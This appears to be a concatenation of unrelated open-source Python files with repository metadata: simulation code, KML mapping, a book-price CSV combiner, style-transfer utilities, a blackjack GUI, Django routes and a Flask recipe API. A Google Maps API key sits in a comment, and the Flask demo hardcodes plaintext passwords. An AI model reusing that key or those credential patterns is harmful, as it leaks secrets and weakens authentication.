"_bias" else: assert False, sp mxnet_dict[vn] = (layer + branch + postfix).encode("utf-8") return mxnet_dict
[ "¨sabarinath.mahadevan@rwth-aachen.de¨" ]
¨sabarinath.mahadevan@rwth-aachen.de¨
8dca9087e171fa1b749b0a1f3bf37d20d7458830
f201aa7b963cd6c22fabdc9c301cbf75942f5b91
/Algorithms/Initial/snowtide_initial.py
64e3a311dde8612554bb63d36e2a6d143d6bb7ed
[ "MIT" ]
permissive
Kanavoy/UODS
5a4e0d5ec52e8be7467702222f3fa13767eaaf91
2da38b749e721b051aeaa6a7bcb3a921aeb5a09c
refs/heads/master
2022-12-09T18:49:24.534122
2020-09-08T18:04:26
2020-09-08T18:04:26
286,434,948
0
0
null
null
null
null
UTF-8
Python
false
false
744
py
from random import uniform, randint def set_initial(graph, opts): mi = opts.initial.min ma = opts.initial.max n = range(0,opts.graph.n) opinion = [uniform(mi, ma) for node in n] uncertainty = [opts.initial.uncertainty for node in n] extremists = int((len(n)*opts.initial.extreme)//1) tolerance = [opts.initial.uncertainty for node in n] is_intervention_agent = [False for node in n] for i in range(0, extremists): chosen = randint(0,opts.graph.n-1) if i<(extremists*opts.initial.extreme_bias): opinion[chosen] = 1 else: opinion[chosen] = -1 uncertainty[chosen] = opts.initial.extreme_uncertainty return {"opinion":opinion, "uncertainty":uncertainty, "tolerance":tolerance, "is_intervention_agent":is_intervention_agent}
[ "adammatthewcoates@gmail.com" ]
adammatthewcoates@gmail.com
6070e4e48e65eb12c684f7bfe90cb20eb613fe22
8999b1ef8c7a115e2f4de24b7271ce055d89acc4
/usma_files/serverSide/WrathServerModel/wrath_to_kml.py
80a04069047745cc5f7d48897e2ca7bfba9d34c1
[ "Apache-2.0" ]
permissive
ebnerl1/usma_swarm
e76e79ea8d452045799f85d3fddb5b7c1955e316
cb3bc7e5cb554f79c5c952f450013321d15fcca1
refs/heads/master
2022-11-24T22:42:06.042683
2020-07-29T13:46:39
2020-07-29T13:46:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,384
py
#!/usr/bin/pyhton #Malik "Herbie" Hancock 4February2020 import simplekml import math import time #import gmaps #import gmplot #create kml # add point, line segment # save from Collections import Graph kml = None #fig = None #gmaps.figure() #gmap is the work around for blending the heatmap # fig is a different file than the kml #ignore line below #gmap = gmplot.GoogleMapPlotter.from_geocode("Central Park, New York, NY") #this is the location for simulation #def gen(): # global fig # fig = gmaps.figure() #building kml def generate(): global kml kml = simplekml.Kml() kml.networklinkcontrol.minrefreshperiod = 1 def addFolder(name = ""): return kml.newfolder(name=name) def addPoint(point, name = ""): pnt = kml.newpoint(name=name) pnt.coords = [point] pnt.style.iconstyle.icon.href = 'http://maps.google.com/mapfiles/kml/shapes/placemark_circle.png' def addLine(start,end, kml, color = 3, name = ""): ls = kml.newlinestring(name=name) ls.coords = [start,end] ls.style.iconstyle.icon.href = 'http://maps.google.com/mapfiles/kml/shapes/placemark_circle.png' if color == 0: ls.style.linestyle.color = simplekml.Color.red #if vehicle is detected along path, road is not traversable elif color == 1: ls.style.linestyle.color = simplekml.Color.green #if no vehicle detected, road is traversable else: ls.style.linestyle.color = simplekml.Color.white # default for Route Detection, if the road has not yet been traversed. # also used for the creation of Contour lines for radiation swarming algorithm. def addGraph(graph, color = 3, name = ""): folder = addFolder(name) for vertex in graph.vertices: point = folder.newpoint() point.coords = [(vertex.coord[1], vertex.coord[0])] point.style.iconstyle.icon.href = 'http://maps.google.com/mapfiles/kml/shapes/placemark_circle.png' for edge in graph.getEdges(): start = (edge.start.coord[1], edge.start.coord[0]) end = (edge.end.coord[1], edge.end.coord[0]) addLine(start, end, folder, color) def addImage(point,alt,image): photo = kml.newphotooverlay() photo.camera = simplekml.Camera(longitude = point[1], latitude = point[0], altitude = alt, altitudemode=simplekml.AltitudeMode.clamptoground) photo.point.coords = [point] photo.style.iconstyle.icon.href = 'http://maps.google.com/mapfiles/kml/shapes/camera.png' #creates camera icon we can click on # need to create turn image into a url location to grab #photo.icon.href= image photo.viewvolume = simplekml.ViewVolume(-25,25,-15,15,1) def addHeat(point,rad_info): #point is a tuple of (lat,long) pol = kml.newpolygon() start_lat_radians = math.cos((lat*3.14)/180) #would need to change lat to a set value. degree_lon = start_lat_radians * 111321.5432 width = (1/degree_lon)*0.5 # change these parameters for styling height = (1/111321.5432)*2 # change these paramaters for styling lon = point[1] lat = point [0] #Code below is a snippet pulled from AY19 team for creating polygon top_left_x = (lon - width/2) top_left_y = (lat + height/2) bottom_left_x = (lon - width/2) bottom_left_y = (lat - height/2) bottom_right_x = (lon + width/2) bottom_right_y = (lat- height/2) top_right_x = (lon + width/2) top_right_y = (lat + height/2) pol.outerboundaryis = [(top_left_x,top_left_y), (top_right_x,top_right_y), (bottom_right_x,bottom_right_y), (bottom_left_x,bottom_left_y),(top_left_x,top_left_y)] if (rad_info < 30): pol.style.polystyle.color = simplekml.Color.changealphaint(100, simplekml.Color.blue) elif (100 >= rad_info > 30): pol.style.polystyle.color = simplekml.Color.changealphaint(100, simplekml.Color.green) elif (400 >= rad_info > 100): pol.style.polystyle.color = simplekml.Color.changealphaint(100, simplekml.Color.yellow) else: pol.style.polystyle.color = simplekml.Color.changealphaint(100, simplekml.Color.red) #def blendHeat(point): # This is the gmap implementation #gmaps.configure(api_key='AIzaSyDCIInp2RvfMuzcktjNNeIWhjoygB1zzoc') # Fill in with your API key #def blendHeat(point,count): #point is a tuple (lat,lon) #fig = gmaps.figure() # fig.add_layer(gmaps.heatmap_layer(point, weights=count)) #fig # need to save it to a destination for viewing def save(name): kml.save("/home/user1/usma_swarm/usma_files/serverSide/archive/" + name + ".kml") #def show(): #shows the current heatmap different than kml saved should be able to add layers though. # fig
[ "andrew.kopeikin@usma.edu" ]
andrew.kopeikin@usma.edu
730831214770a763d3554ee1ee2122f2b13c9e96
b69d2ad1466704b2a49ded131b5ff64a449aa514
/COMBINE/combine_buy_sell_book_finder.py
2e526d411359cc70bdb0c138c81d178d97f1008f
[]
no_license
SMcDick/Buy-Sell-Books
1cc803bbc9ed3556a0d76ce2da4f9557433ed688
cae7dcb43bce6372cfae58336e7f84bd0f0155f5
refs/heads/master
2020-06-28T05:57:45.145518
2018-08-25T04:43:15
2018-08-25T04:43:15
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,671
py
# -*- coding: utf-8 -*- import glob import os import json import datetime import pytz import re import csv BUY_PATH = "/home/FM/results/Trade_In/Amazon_Buy/*" SELL_PATH = "/home/FM/results/Trade_In/Bookfinder_Sell/*" COMBINE_PATH = "/home/FM/results/Trade_In/Combine_Amazon Buy_Bookfinder Sell" # BUY_PATH = '/Users/PathakUmesh/Programming_stuffs/NIGAM/BUYING/*' # SELL_PATH = '/Users/PathakUmesh/Programming_stuffs/NIGAM/SELLING/*' # COMBINE_PATH = '/Users/PathakUmesh/Programming_stuffs/NIGAM/COMBINE' def get_file(path): list_of_files = glob.glob(path) file_path = max(list_of_files, key=os.path.getctime) return file_path def combine_buy_and_sell(): buy_file_name = get_file(BUY_PATH) # buy_file_name = "Amazon_Trade-In_Buy_Pricing_20Aug2018_09hr20min.csv" print('---------------------------------------------------------------------------------------------------------------------') print('Taking buying details from file {}'.format(buy_file_name)) print('---------------------------------------------------------------------------------------------------------------------') sell_file_name = get_file(SELL_PATH) # sell_file_name = "Bookfinder_Trade-In_Sell_Pricing_20Aug2018_09hr19min.csv" print('---------------------------------------------------------------------------------------------------------------------') print('Taking selling details from file {}'.format(sell_file_name)) print('---------------------------------------------------------------------------------------------------------------------') # if not os.path.exists(COMBINE_PATH): # os.makedirs(COMBINE_PATH) utc_time = datetime.datetime.utcnow() tz_info = pytz.timezone('Asia/Kolkata') # tz_info = pytz.timezone('Asia/Kathmandu') utc = pytz.utc time_local = utc.localize(utc_time).astimezone(tz_info) combine_file_name = '{}/Combine_Amazon Buy_Bookfinder Sell_{}.csv'.format(COMBINE_PATH,time_local.strftime('%d%b%Y_%Hhr%Mmin')) combine_filtered_file_name = '{}/Combine_Amazon Buy_Bookfinder Sell_Filtered_{}.csv'.format(COMBINE_PATH,time_local.strftime('%d%b%Y_%Hhr%Mmin')) combine_csvfile = open(combine_file_name, 'w') combine_filtered_csvfile = open(combine_filtered_file_name, 'w') fieldnames = ['Title', 'ISBN-10', 'ISBN-13','Purchase Cost', 'Shipping Cost', 'Processing Cost', 'Net Buying Cost','Vendor', 'Selling Price', 'URL_Sell', 'ROI Amt', 'ROI %'] writer1 = csv.DictWriter(combine_csvfile, fieldnames=fieldnames) writer1.writeheader() writer2 = csv.DictWriter(combine_filtered_csvfile, fieldnames=fieldnames) writer2.writeheader() print('---------------------------------------------------------------------------------------------------------------------') print('Writing output to file {}'.format(combine_file_name)) print('---------------------------------------------------------------------------------------------------------------------') print('---------------------------------------------------------------------------------------------------------------------') print('Writing filtered output to file {}'.format(combine_filtered_file_name)) print('---------------------------------------------------------------------------------------------------------------------') # "title isbn10 isbn13 vendor_sell selling_price url_sell" sell_data = dict() with open(sell_file_name, 'r') as csvfile_sell: csvreader_sell = csv.reader(csvfile_sell) for i, sell_row in enumerate(csvreader_sell): if i == 0 or sell_row[4] == 'N/A': continue isbn13 = sell_row[2] if isbn13 not in sell_data: sell_data.update({ isbn13:[{ 'vendor_sell':sell_row[3], 'selling_price':sell_row[4], 'url_sell':sell_row[5] }] }) else: sell_data[isbn13].append({ 'vendor_sell':sell_row[3], 'selling_price':sell_row[4], 'url_sell':sell_row[5] }) # print(sell_data) print('Sell Price Map created and proceeding for final csv preparation') with open(buy_file_name, 'r') as csvfile_buy: csvreader_buy = csv.reader(csvfile_buy) for i, buy_row in enumerate(csvreader_buy): if i == 0 or buy_row[6] == 'N/A': continue isbn13 = str(buy_row[2]) if sell_data.get(isbn13): for sell_row in sell_data[isbn13]: writer1.writerow({'Title': str(buy_row[0]), 'ISBN-10': str(buy_row[1]), 'ISBN-13': str(buy_row[2]), 'Purchase Cost': str(buy_row[3]), 'Shipping Cost': str(buy_row[4]), 'Processing Cost': str(buy_row[5]), 'Net Buying Cost': str(buy_row[6]), 'Vendor': sell_row['vendor_sell'], 'Selling Price': sell_row['selling_price'], 'URL_Sell': sell_row['url_sell'], 'ROI Amt': '%.2f' % (float(sell_row['selling_price']) - float(buy_row[6])), 'ROI %': '%.2f' % ((float(sell_row['selling_price']) - float(buy_row[6]))* 100/float(buy_row[6])) }) if (float(sell_row['selling_price']) - float(buy_row[6])) >= 10: writer2.writerow({'Title': str(buy_row[0]), 'ISBN-10': str(buy_row[1]), 'ISBN-13': str(buy_row[2]), 'Purchase Cost': str(buy_row[3]), 'Shipping Cost': str(buy_row[4]), 'Processing Cost': str(buy_row[5]), 'Net Buying Cost': str(buy_row[6]), 'Vendor': sell_row['vendor_sell'], 'Selling Price': sell_row['selling_price'], 'URL_Sell': sell_row['url_sell'], 'ROI Amt': '%.2f' % (float(sell_row['selling_price']) - float(buy_row[6])), 'ROI %': '%.2f' % ((float(sell_row['selling_price']) - float(buy_row[6]))* 100/float(buy_row[6])) }) combine_csvfile.close() combine_filtered_csvfile.close() if __name__ == '__main__': combine_buy_and_sell()
[ "umesh.pathak@logpoint.com" ]
umesh.pathak@logpoint.com
addc002a7f3d8d394abb90d6c6298ef91d7d0c55
a075b20c2c7bee1655c30bd5d2c1c3634755bd48
/utils.py
8bb0b9c56833eab7a2fa5d85081e2c4f9b7a83fd
[]
no_license
gitter-badger/style-transfer
96d4b337c662055cb275dadf3846c58ab5227252
e7518d6a718d06c5f537602307ffa37abaa58a15
refs/heads/master
2021-01-20T10:18:32.335649
2017-08-28T06:45:13
2017-08-28T06:45:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
7,890
py
import scipy.misc, numpy as np, os, sys from shutil import rmtree, move import tensorflow as tf from PIL import Image import glob, random, bcolz from six.moves import urllib as six_urllib try: import urllib2 as urllib except ImportError: import urllib.request as urllib from collections import OrderedDict import tarfile _RESIZE_SIDE_MIN = 320 class OrderedDefaultListDict(OrderedDict): def __missing__(self, key): self[key] = value = [] return value def _central_crop(image, side): image_height = tf.shape(image)[0] image_width = tf.shape(image)[1] offset_height = (image_height - side) / 2 offset_width = (image_width - side) / 2 original_shape = tf.shape(image) cropped_shape = tf.stack([side, side, 3]) offsets = tf.to_int32(tf.stack([offset_height, offset_width, 0])) image = tf.slice(image, offsets, cropped_shape) return tf.reshape(image, cropped_shape) def _smallest_size_at_least(height, width, smallest_side): smallest_side = tf.convert_to_tensor(smallest_side, dtype=tf.int32) height = tf.to_float(height) width = tf.to_float(width) smallest_side = tf.to_float(smallest_side) scale = tf.cond(tf.greater(height, width), lambda: smallest_side / width, lambda: smallest_side / height) new_height = tf.to_int32(height * scale) new_width = tf.to_int32(width * scale) return new_height, new_width def _aspect_preserving_resize(image, smallest_side): smallest_side = tf.convert_to_tensor(smallest_side, dtype=tf.int32) shape = tf.shape(image) height, width = shape[0], shape[1] new_height, new_width = _smallest_size_at_least(height, width, smallest_side) image = tf.expand_dims(image, 0) resized_image = tf.image.resize_bilinear(image, [new_height, new_width], align_corners=False) resized_image = tf.squeeze(resized_image, [0]) resized_image.set_shape([None, None, 3]) return resized_image def preprocess_image(image, side, resize_side=_RESIZE_SIDE_MIN, is_training=False): image = _aspect_preserving_resize(image, resize_side) if(is_training): image = tf.random_crop(image, [side, side, 3]) else: image = _central_crop(image, side) return image class data_pipeline: def __init__(self, train_path, sq_size=256, batch_size=4, subset_size=None): self.sq_size = sq_size filenames = glob.glob(train_path+'/*/*.jpg') random.shuffle(filenames) with tf.device('/cpu:0'): filenames = tf.constant(filenames[:subset_size]) dataset = tf.contrib.data.Dataset.from_tensor_slices(filenames) dataset = dataset.filter(self._filter_function) dataset = dataset.map(self._parse_function) # Parse the record into tensors. dataset = dataset.batch(batch_size) self.iterator = dataset.make_initializable_iterator() def _filter_function(self, filename): image_string = tf.read_file(filename) img = tf.image.decode_jpeg(image_string) shp = tf.shape(img) return tf.logical_and(tf.equal(tf.rank(img), 3), tf.equal(shp[2], 3)) def _parse_function(self, filename): image_string = tf.read_file(filename) image = tf.image.decode_jpeg(image_string) image = preprocess_image(image, self.sq_size, is_training=True) return image def open_bcolz_arrays(root_dir, keys, arrs, mode='a', attr_dict={}): bcolz_arrs_dict = {} for key, arr in zip(keys, arrs): bcolz_path = os.path.join(root_dir, key) bcolz_arr = bcolz.carray(arr, rootdir=bcolz_path, mode=mode) for k,v in attr_dict.items(): bcolz_arr.attrs[k] = v bcolz_arrs_dict[key] = bcolz_arr return bcolz_arrs_dict class features_pipeline: def __init__(self, root_dir, keys, batch_size=16, attr_dict={}): bcolz_paths = [os.path.join(root_dir, key) for key in keys] with tf.device('/cpu:0'): bcolz_datasets = [self._bcolz_dataset(bcolz_path) for bcolz_path in bcolz_paths] dataset = tf.contrib.data.Dataset.zip(tuple(bcolz_datasets)) dataset = dataset.batch(batch_size) self.iterator = dataset.make_initializable_iterator() def _bcolz_dataset(self, bcolz_path, attr_dict={}): arr = bcolz.open(rootdir=bcolz_path, mode='r') for k,v in attr_dict.items(): assert arr.attrs[k]==v, "loss network mismatch" dataset = tf.contrib.data.Dataset.range(len(arr)) py_func = lambda y: self._parse_function(y, arr) dataset = dataset.map(lambda x: tf.py_func(py_func, [x], [tf.float32])) dataset = dataset.map(lambda x: tf.reshape(x, arr.shape[1:])) return dataset def _parse_function(self, i, arr): elem = arr[i] return elem def crop_and_resize(img, side=None): if(side==None): img = np.asarray(img) return img shortest = float(min(img.width,img.height)) resized = np.round(np.multiply(side/shortest, img.size)).astype(int) img = img.resize(resized, Image.BILINEAR) left = (img.width - side)/2 top = (img.height - side)/2 img = np.asarray(img) img = img[top:top+side, left:left+side, :] return img def save_image(out_path, img): img = np.clip(img, 0, 255).astype(np.uint8) scipy.misc.imsave(out_path, img) def load_images(path, image_size=None): valid_exts = ['.jpeg', '.jpg'] image_names = [] images = [] if(os.path.isdir(path)): for file_name in os.listdir(path): base, ext = os.path.splitext(file_name) if ext in valid_exts: image_names.append(base) image = Image.open(os.path.join(path, file_name)) image = crop_and_resize(image, image_size) images.append(image) assert len(images) > 0 elif(os.path.isfile(path)): folder_name, file_name = os.path.split(path) base, ext = os.path.splitext(file_name) assert ext in valid_exts image_names = [base] image = Image.open(os.path.join(path)) image = crop_and_resize(image, image_size) images = [image] else: raise ValueError('Uninterpretable path') return image_names, images def create_subfolder(super_folder, folder_name): new_folder_path = os.path.join(super_folder, folder_name) os.makedirs(new_folder_path) def load_image(src, image_size=None): image = Image.open(os.path.join(src)) image = crop_and_resize(image, image_size) return image def exists(p, msg): assert os.path.exists(p), msg def create_folder(dir_name, msg): assert not(os.path.exists(dir_name)), msg os.makedirs(dir_name) def tensor_shape(tensor): shp = tf.shape(tensor) return shp[0], shp[1], shp[2], shp[3] def download_model(model_url, model_dir, model_name): """Downloads the `model_url`, uncompresses it, saves the model file with the name model_name (default if unspecified) in the folder model_dir. Args: model_url: The URL of the model tarball file. model_dir: The directory where the model files are stored. model_name: The name of the model checkpoint file """ model_name = model_name + '.ckpt' model_path = os.path.join(model_dir, model_name) if os.path.exists(model_path): return tmp_dir = os.path.join(model_dir, 'tmp') if not os.path.exists(tmp_dir): os.makedirs(tmp_dir) filename = model_url.split('/')[-1] filepath = os.path.join(tmp_dir, filename) def _progress(count, block_size, total_size): sys.stdout.write('\r>> Downloading %s %.1f%%' % ( filename, float(count * block_size) / float(total_size) * 100.0)) sys.stdout.flush() filepath, _ = six_urllib.request.urlretrieve(model_url, filepath, _progress) print() statinfo = os.stat(filepath) print('Successfully downloaded', filename, statinfo.st_size, 'bytes.') tarfile.open(filepath, 'r:gz').extractall(tmp_dir) ckpt_files = glob.glob(os.path.join(tmp_dir, '*.ckpt')) + glob.glob(os.path.join(tmp_dir, '*/*.ckpt')) assert len(ckpt_files)==1 folder_name, file_name = os.path.split(ckpt_files[0]) move(ckpt_files[0], os.path.join(model_dir, model_name)) rmtree(tmp_dir)
[ "noreply@github.com" ]
noreply@github.com
8f6eb903f27861c546fd13331fa65729abc6dc37
1c5fdabf183c5eb3a9d6577049e674c3757c00db
/Блэк_Джек_4/Lucky_Jack_4_3.py
88c2918e249e7140b7b03160d396b46a1c59a2c4
[]
no_license
Bhaney44/Blackjack
b997b46bb92fc71f1471cf6d82048df72a32d342
ca64e41af0669f2e364d80a206682481c2951771
refs/heads/master
2022-12-11T06:58:16.716447
2020-09-15T01:03:47
2020-09-15T01:03:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,628
py
#LuckyJack #Copyright Brian S. Haney 2020 #Import Random #Import Prototype GUI and Data Storage Library from tkinter import * from tkinter.messagebox import * import csv #Factor Labels master = Tk() #Dealer #Labels label0 = Label(master, text = 'Dealer', relief = 'groove', width = 20) label1 = Label(master, text = 'Open Card', relief = 'groove', width = 20) label3 = Label(master, text = 'Secret Card', relief = 'groove', width = 20) label4 = Label(master, text = 'Hit', relief = 'groove', width = 20) label5 = Label(master, text = 'Hit', relief = 'groove', width = 20) label6 = Label(master, text = 'Hit', relief = 'groove', width = 20) label7 = Label(master, text = 'Dealer Total', relief = 'groove', width = 20) #Blanks blank1 = Entry(master, relief = 'groove', width = 20) blank2 = Entry(master, relief = 'groove', width = 20) blank3 = Entry(master, relief = 'groove', width = 20) blank4 = Entry(master, relief = 'groove', width = 20) blank5 = Entry(master, relief = 'groove', width = 20) blank6 = Entry(master, relief = 'groove', width = 20) blank7 = Entry(master, relief = 'groove', width = 20) #Player #Labels label8 = Label(master, text = 'Player', relief = 'groove', width = 20) label9 = Label(master, text = 'Card 0', relief = 'groove', width = 20) label10 = Label(master, text = 'Card 1', relief = 'groove', width = 20) label11 = Label(master, text = 'Hit', relief = 'groove', width = 20) label12 = Label(master, text = 'Player Total', relief = 'groove', width = 20) #Blanks blank8 = Entry(master, relief = 'groove', width = 20) blank9 = Entry(master, relief = 'groove', width = 20) blank10 = Entry(master, relief = 'groove', width = 20) blank11 = Entry(master, relief = 'groove', width = 20) #Scoreboard #Labels label13 = Label(master, text = 'Chips', relief = 'groove', width = 20) label14 = Label(master, text = 'Cost', relief = 'groove', width = 20) label15 = Label(master, text = 'Return', relief = 'groove', width = 20) label16 = Label(master, text = 'Lucky Jack', relief = 'groove', width = 20) label17 = Label(master, text = 'Scoreboard', relief = 'groove', width = 20) label18 = Label(master, text = 'Dealer Score', relief = 'groove', width = 20) label19 = Label(master, text = 'Player Score', relief = 'groove', width = 20) #Blanks blank12 = Entry(master, relief = 'groove', width = 20) blank13 = Entry(master, relief = 'groove', width = 20) blank14 = Entry(master, relief = 'groove', width = 20) blank15 = Entry(master, relief = 'groove', width = 20) blank16 = Entry(master, relief = 'groove', width = 20) #Functions def deal(): print(deal) def hit(): print(hit) #Buttons button0 = Button(master, text = 'Hit', relief = 'groove', width = 20, command = hit) button1 = Button(master, text = 'Deal', relief = 'groove', width = 20, command = deal) #Geometry #Dealer label0.grid( row = 11, column = 1, padx = 10 ) label1.grid( row = 12, column = 1, padx = 10 ) label3.grid( row = 13, column = 1, padx = 10 ) label4.grid( row = 14, column = 1, padx = 10 ) label5.grid( row = 15, column = 1, padx = 10 ) label6.grid( row = 16, column = 1, padx = 10 ) label7.grid( row = 17, column = 1, padx = 10 ) blank1.grid( row = 12, column = 2, padx = 10 ) blank2.grid( row = 13, column = 2, padx = 10 ) blank3.grid( row = 14, column = 2, padx = 10 ) blank4.grid( row = 15, column = 2, padx = 10 ) blank5.grid( row = 16, column = 2, padx = 10 ) blank6.grid( row = 16, column = 2, padx = 10 ) blank7.grid( row = 17, column = 2, padx = 10 ) #Player label8.grid( row = 18, column = 1, padx = 10 ) label9.grid( row = 19, column = 1, padx = 10 ) label10.grid( row = 20, column = 1, padx = 10 ) label11.grid( row = 21, column = 1, padx = 10 ) label12.grid( row = 22, column = 1, padx = 10 ) blank8.grid( row = 18, column = 2, padx = 10 ) blank9.grid( row = 19, column = 2, padx = 10 ) blank10.grid( row = 20, column = 2, padx = 10 ) blank11.grid( row = 21, column = 2, padx = 10 ) #Scoreboard label13.grid( row = 4, column = 2, padx = 10 ) label14.grid( row = 6, column = 2, padx = 10 ) label15.grid( row = 8, column = 2, padx = 10 ) label16.grid( row = 1, column = 1, padx = 40 ) label17.grid( row = 2, column = 1, padx = 30 ) label18.grid( row = 3, column = 1, padx = 10 ) label19.grid( row = 3, column = 3, padx = 10 ) blank12.grid( row = 7, column = 2, padx = 10 ) blank13.grid( row = 8, column = 2, padx = 10 ) blank14.grid( row = 4, column = 1, padx = 10 ) blank15.grid( row = 4, column = 3, padx = 10 ) blank16.grid( row = 5, column = 2, padx = 10 ) button0.grid( row = 9, column = 1, columnspan = 1) button1.grid( row = 10, column = 1, columnspan = 1) #Static Properties master.title('LuckyJack')
[ "noreply@github.com" ]
noreply@github.com
d35dd36cfbef2715687c172d9521c17c1d3c0907
c16d929c49092955af2841d55aa93d57989fb7d1
/sesion_04/users/urls.py
3ee31354b87bbf6e9894f8810682f547d69051da
[]
no_license
PilarMont/modulo-django-dw-pt-21-01
ae4a3b97dc0cd3ec0fd6745b413e03310ea29fe4
f606885e53ab65475ad372a512598365a54d50f9
refs/heads/main
2023-07-16T22:04:28.271396
2021-08-18T03:50:03
2021-08-18T03:50:03
null
0
0
null
null
null
null
UTF-8
Python
false
false
622
py
"""Users app URLS""" from django.urls import path from . import views app_name = "users" urlpatterns = [ # Function Based Views # path("login", views.users_login, name="login"), # path("logout", views.users_logout, name="logout"), # path("signup", views.sign_up, name="signup"), # path("me", views.profile, name="profile"), # Class based views path("login", views.LoginView.as_view(), name="login"), path("logout", views.LogoutView.as_view(), name="logout"), path("signup", views.SignupView.as_view(), name="signup"), path("me", views.ProfileView.as_view(), name="profile"), ]
[ "30444800+ultr4nerd@users.noreply.github.com" ]
30444800+ultr4nerd@users.noreply.github.com
ebdfc114bd2251bf6944a6c88ca73df90c5fd21c
494f8c775c0ed911ae9841215d9890129a0cf4fb
/OMP/app/__init__.py
e48239f981108e2f11e040dfb1ec37a3a7ffc5ba
[]
no_license
cmdev90/RCMS
72e5f25ef702af601b39ae2db4a71a049a3f7cd3
8b75c6776e486ccecaf6bf2e6ea8e07ffd412f9a
refs/heads/master
2021-05-28T20:10:31.542102
2014-12-09T03:24:10
2014-12-09T03:24:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
115
py
from flask import Flask # app = Flask(__name__) app = Flask(__name__, static_url_path = "") from app import views
[ "nicholas.chamansingh@gmail.com" ]
nicholas.chamansingh@gmail.com
41c70e9309c3776bec2dea935e8102a58ae2d215
cfb4e8721137a096a23d151f2ff27240b218c34c
/mypower/matpower_ported/lib/mpoption_info_fmincon.py
072799309556c4b95076795f10756ceb343dc4ee
[ "Apache-2.0" ]
permissive
suryo12/mypower
eaebe1d13f94c0b947a3c022a98bab936a23f5d3
ee79dfffc057118d25f30ef85a45370dfdbab7d5
refs/heads/master
2022-11-25T16:30:02.643830
2020-08-02T13:16:20
2020-08-02T13:16:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
176
py
def mpoption_info_fmincon(*args,nout=1,oc=None): if oc == None: from ...oc_matpower import oc_matpower oc = oc_matpower() return oc.mpoption_info_fmincon(*args,nout=nout)
[ "muhammadyasirroni@gmail.com" ]
muhammadyasirroni@gmail.com
005244a5c5d12b02f581e3def7e0800a49c4992d
85b1d0553f9a914f7bfe9777cb4f35d7ae4244e1
/flask_restful_demo_cookbook.py
3beb22d6224dffc46056c6bbc0f0d0ff425cb0f2
[]
no_license
gboleslavsky/POC_RESTful_Flask_API
8b1769dfed410647eada00e6fa5844b39be192b8
7fc92558048393f496a8aaab1cd636224c076fa5
refs/heads/master
2021-01-10T11:21:11.015540
2016-02-01T14:48:09
2016-02-01T14:48:09
50,839,308
1
0
null
null
null
null
UTF-8
Python
false
false
7,586
py
#!flask/bin/python from flask import Flask, jsonify, abort, make_response from flask.ext.restful import Api, Resource, reqparse, fields, marshal from flask.ext.httpauth import HTTPBasicAuth ####################################### global reusable functions, static data and constants flask_demo = Flask(__name__) api = Api(flask_demo) auth = HTTPBasicAuth() all_recipes = [ { 'unique_id': 1, 'dish_name': 'Macaroni and Cheese', 'cuisine': 'American', 'ingredients': 'any small size pasta, cheese that melts well', 'steps': '1. Cook the pasta 2. Shred the cheese 3. Mixed cooked pasta and shredded cheese ' + '4. Heat on a stove till cheese is melted or microwave for 2 minutes', 'is_vegan': False }, { 'unique_id': 2, 'dish_name': 'Korean Carrots', 'cuisine': 'Korean', 'ingredients': 'carrots, sesame oil, rice vinegar, fresh garlic, coriander seeds, cayenne pepper', 'steps': '1. Shred the carrots 2. Mix with the rest of the ingredients ' '3. Leave in the refrigerator for 1 hour', 'is_vegan': True }, { 'unique_id': 3, 'dish_name': 'Tuscan Bean Salad', 'cuisine': 'Italian', 'ingredients': 'cooked white beans (Canelloni or any other), chopped green onion, balsamic vinegar, olive oil', 'steps': '1. Mix all ingredients 2. Let the dish sit in rerigerator for 1 hour', 'is_vegan': True }, ] recipe_fields = { 'dish_name': fields.String, 'cuisine': fields.String, 'ingredients': fields.String, 'steps': fields.String, 'is_vegan': fields.Boolean, 'uri': fields.Url('recipe') # Flask-RESTful dead simple way to construct a HATEOAS link } def recipe_validator(): request_parser = reqparse.RequestParser() # define fields for the parser so it can validate them request_parser.add_argument('dish_name', type=str, required=True, help='Please provide the name of the dish') request_parser.add_argument('cuisine', type=str, default="") request_parser.add_argument('ingredients', type=str, required=True, help='Please provide the list of ingredients') request_parser.add_argument('steps', type=str, required=True, help='Please provide the steps for preparing the recipe') request_parser.add_argument('is_vegan', type=bool, required=False, help='Please provide the steps for preparing the recipe') return request_parser ####################################### utilities # security callbacks @auth.get_password def password(username): # in a real app, either hit a directory server or a DB with encrypted pws passwords = { 'gregory': 'boleslavsky', 'test': 'pw' } return passwords.get(username, None) @auth.error_handler def wrong_credentials(): return make_response(jsonify({'message': 'Wrong username or password'}), 403) # 401 makes browsers pop an auth dialog # reusable functions def matching_recipes(field_name, field_value): return [recipe for recipe in all_recipes if recipe[field_name] == field_value] def recipe_with_unique_id(unique_id): recipes = matching_recipes(field_name='unique_id', field_value=unique_id) if recipes: return recipes[0] def change_recipe_fields(recipe, field_names_and_new_values): for field_name, new_value in field_names_and_new_values.items(): if new_value: recipe[field_name] = new_value return recipe # for convenience and to facilitate fluent or compositonal style def json_recipes(recipes): return {'recipes': [marshal(recipe, recipe_fields) for recipe in recipes]} def json_recipe(recipe): return {'recipe': marshal(recipe, recipe_fields)} ####################################### request handlers class ItalianRecipes(Resource): """ Italian food is very popular and deserves its own URL """ decorators = [auth.login_required] # just decorating with @auth.login_required does not work anymore def __init__(self): super(ItalianRecipes, self).__init__() def get(self): recipes = matching_recipes(field_name='cuisine', field_value='Italian') if not recipes: abort(404) return json_recipes(recipes) class VeganRecipes(Resource): """ Vegan food is getting popular and deserves its own URL """ decorators = [auth.login_required] # just decorating with @auth.login_required does not work anymore def __init__(self): super(VeganRecipes, self).__init__() def get(self): recipes = matching_recipes(field_name='is_vegan', field_value=True) if not recipes: abort(404) return json_recipes(recipes) class SpecificRecipeAPI(Resource): decorators = [auth.login_required] # just decorating with @auth.login_required does not work anymore def __init__(self): self.request_parser = recipe_validator() super(SpecificRecipeAPI, self).__init__() def get(self, unique_id): recipe = recipe_with_unique_id(unique_id) if not recipe: abort(404) return json_recipe(recipe) def put(self, unique_id): recipe = recipe_with_unique_id(unique_id) if not recipe: abort(404) fields_to_change = self.request_parser.parse_args() recipe = change_recipe_fields(recipe, fields_to_change) return json_recipe(recipe) def delete(self, unique_id): recipe_to_remove = recipe_with_unique_id(unique_id) if not recipe_to_remove: abort(404) all_recipes.remove(recipe_to_remove) return {'result': True} class AllRestfulRecipesAPI(Resource): decorators = [auth.login_required] # 